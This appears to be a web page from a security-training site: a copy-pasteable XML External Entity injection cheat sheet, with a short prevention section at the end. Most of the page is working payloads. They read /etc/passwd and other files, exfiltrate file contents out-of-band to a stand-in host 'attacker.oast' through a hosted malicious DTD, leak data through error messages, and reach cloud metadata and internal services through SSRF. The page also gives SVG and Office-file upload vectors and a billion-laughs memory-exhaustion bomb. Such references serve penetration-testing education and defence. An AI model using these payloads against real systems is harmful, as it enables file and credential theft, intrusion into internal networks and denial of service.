XXE: The Complete Practical Guide to XML External Entity Injection
XXE Cheat Sheet
A dense, copy-pasteable XXE reference: in-band file read, parameter entities, out-of-band and error-based exfil, SSRF, XInclude, and prevention.
Published
Every XXE payload you reach for, in one place. The core move never changes: get the parser to resolve an external entity that points at a file or a URL, then read the result in-band or exfiltrate it out-of-band. For the how and why behind each section, start at the XXE guide. Lock it in on a free live target.
Basic file read (in-band)
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>Put
&xxe;in whatever element the response echoes back. Swap the path for app config, source, or secrets. See in-band file read.
Parameter entities (needed for most blind work)
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.oast/?x=%file;'>">
%eval;
%exfil;
]>
%name;is a parameter entity (used inside the DTD).%is a literal%, so the inner entity is built at parse time rather than interpreted immediately.
Out-of-band exfil via a hosted external DTD
<!-- Request body: -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.oast/evil.dtd"> %xxe; ]>
<data>test</data><!-- evil.dtd hosted on attacker.oast: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://attacker.oast/?d=%file;'>">
%eval;
%send;Host the DTD externally because the XML spec disallows this parameter-entity nesting in the inline DTD. See blind XXE.
Error-based exfil (no callback channel, only error messages come back)
<!-- evil.dtd: force the file contents into a parse-error path (single-line file) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % err SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%err;The parser throws an error that includes the resolved (nonexistent) path, leaking the file contents in the error text.
SSRF via XXE (reach internal / cloud)
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<data>&xxe;</data><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-admin:8080/"> ]>
<data>&xxe;</data>From here the full SSRF playbook applies. See SSRF via XXE.
XInclude (no DOCTYPE available, you only control a sub-node)
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
parse="text"reads the file as raw text, so XML-special characters do not break it. See XInclude attacks.
Content-type switch (JSON endpoint that also parses XML)
POST /api/item HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<item><name>&xxe;</name></item>SVG upload XXE (image / avatar features)
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">
<text x="10" y="40">&xxe;</text>
</svg>Upload as
.svgand read the rendered/thumbnailed output. For.docx/.xlsx, inject the DOCTYPE intoword/document.xml/xl/workbook.xmlinside the ZIP, then re-zip. See XXE via file upload.
Billion laughs (DoS, awareness only, do NOT run on shared targets)
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>Entity-expansion bomb: each level multiplies, exhausting memory and CPU. Noted for awareness only, never fire it at a shared or production environment.
Prevention
- Disable DTD processing entirely - the single fix that kills every XXE variant.
- Per parser: Java
disallow-doctype-decl= true. .NETDtdProcessing = ProhibitplusXmlResolver = null. PHP libxml 2.9+/PHP 8+ is off by default, so just avoidLIBXML_NOENT(libxml_disable_entity_loader()is deprecated in PHP 8, andLIBXML_NO_XXEexists on libxml 2.13+ / PHP 8.4+). Python usedefusedxml. - If you cannot disable DTDs: disable external general + parameter entities and external DTD loading.
- Do not blacklist
<!ENTITY>/SYSTEMin input - encodings, content-type switch, and XInclude route around it. - Prefer JSON and XML libraries that are safe by default. Full detail in preventing XXE.
← Back to XXE: The Complete Practical Guide to XML External Entity Injection